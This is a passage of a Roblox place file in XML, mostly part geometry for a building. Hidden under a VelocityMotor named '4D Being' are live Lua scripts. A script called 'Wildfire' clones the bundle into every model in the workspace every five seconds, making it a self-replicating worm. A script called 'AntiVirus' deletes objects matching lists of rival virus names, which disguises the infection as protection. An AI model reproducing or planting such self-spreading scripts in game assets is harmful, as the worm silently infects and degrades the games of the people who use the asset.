					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>11</X>
						<Y>2.4000001</Y>
						<Z>7</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX729">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>201.5</X>
						<Y>6.4000001</Y>
						<Z>225.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>11</X>
						<Y>2.4000001</Y>
						<Z>5</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX730">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>201.5</X>
						<Y>8.80000019</Y>
						<Z>226.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>11</X>
						<Y>2.4000001</Y>
						<Z>3</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX731">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>201.5</X>
						<Y>6.4000001</Y>
						<Z>229</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>15</X>
						<Y>12</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX732">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>201.5</X>
						<Y>4.5999999</Y>
						<Z>241</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>15</X>
						<Y>8.40000057</Y>
						<Z>22</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX733">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">37</int>
					<CoordinateFrame name="CFrame">
						<X>201.5</X>
						<Y>9.39999962</Y>
						<Z>239</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>15</X>
						<Y>1.20000005</Y>
						<Z>18</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX734">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>193</X>
						<Y>6.4000001</Y>
						<Z>241</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>26</X>
						<Y>12</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX735">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>210</X>
						<Y>6.4000001</Y>
						<Z>241</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>26</X>
						<Y>12</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX736">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>201.5</X>
						<Y>6.4000001</Y>
						<Z>253</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>15</X>
						<Y>12</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="VelocityMotor" referent="RBX737">
				<Properties>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<float name="CurrentAngle">0</float>
					<float name="DesiredAngle">0</float>
					<Ref name="Hole">null</Ref>
					<float name="MaxVelocity">0</float>
					<string name="Name">4D Being</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX738">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX739">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">4D Being</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX740">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wildfire</string>
								<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX741">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">AntiVirus</string>
								<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX742">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>126.200005</X>
					<Y>4.4000001</Y>
					<Z>72.5</Z>
					<R00>0</R00>
					<R01>1</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>-1</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>83</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX743">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Model" referent="RBX744">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX745">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>44</X>
							<Y>5.80000019</Y>
							<Z>73</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
